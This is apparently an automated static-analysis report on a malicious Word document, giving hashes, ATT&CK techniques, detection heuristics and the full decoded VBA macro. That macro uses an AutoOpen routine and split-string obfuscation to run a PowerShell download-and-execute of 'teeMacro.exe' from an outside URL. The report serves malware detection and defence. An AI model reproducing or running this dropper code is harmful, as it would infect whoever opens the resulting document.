Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 44cdb990e003f97d…

MALICIOUS

Office (OOXML)

206.0 KB Created: 2018-06-25 22:34:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-10-01
MD5: 177aa67251c0e078ef4a3a3ab09da1de SHA-1: a0cde892f2e9d71d1d12c0743966e5d614184cd2 SHA-256: 44cdb990e003f97d0bd54808f3a8835f90d5df282340c248ab2ce8e149adab04
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen subroutine that triggers the execution of a PowerShell command. This command is obfuscated using string concatenation but reconstructs to 'cmd /c PowerShell(New-Object System.Net.WebClient).DownloadFile('http://www.redgreenblogs.com/php/teeMacro.exe','%TMP% eeMacro.exe');Start-Process '%TMP% eeMacro.exe';'. This indicates the macro's intent is to download and execute a second-stage payload named 'teeMacro.exe' from the specified URL.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.redgreenblogs.com/php/teeMacro.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 953 bytes
SHA-256: 3c15687c623c72618801614af6a4567b664e25f1f9f8712425eed72d18d8df1a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
        OqaFy4Nqc
End Sub

Attribute VB_Name = "Wm38X42a"
Function HCjpjI()
FU7TMTki2 = "(" + "New-O" + "bject " + "System.Net.WebClient)"
GlF3Q6 = ".Dow" + "nloadF" + "ile"
If7DGc9 = "('http://www.redgreenblogs.com/php/teeMacro.exe','%" + "TMP" + "%\teeMacro.exe');"
VFWFm = "Start-" + "Process '%" + "TMP" + "%\teeMacro.exe';"
HCjpjI = "cmd" + " /c  " + "Pow" + "erSh" + "ell" + "" + FU7TMTki2 + GlF3Q6 + If7DGc9 + VFWFm + ""
End Function

Attribute VB_Name = "HkbTFLUC"
Function OqaFy4Nqc()
HS9fcNYu = "t.Shell"
NOyWCB = "scrip"
ISDpQBl = NOyWCB + HS9fcNYu
Set KF21b = CreateObject("W" + ISDpQBl)
KF21b.Run HCjpjI, 0
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: 965fca68b94524ddf081fe4f860eb33585bb14d9f03f378819f9a3743f5825bc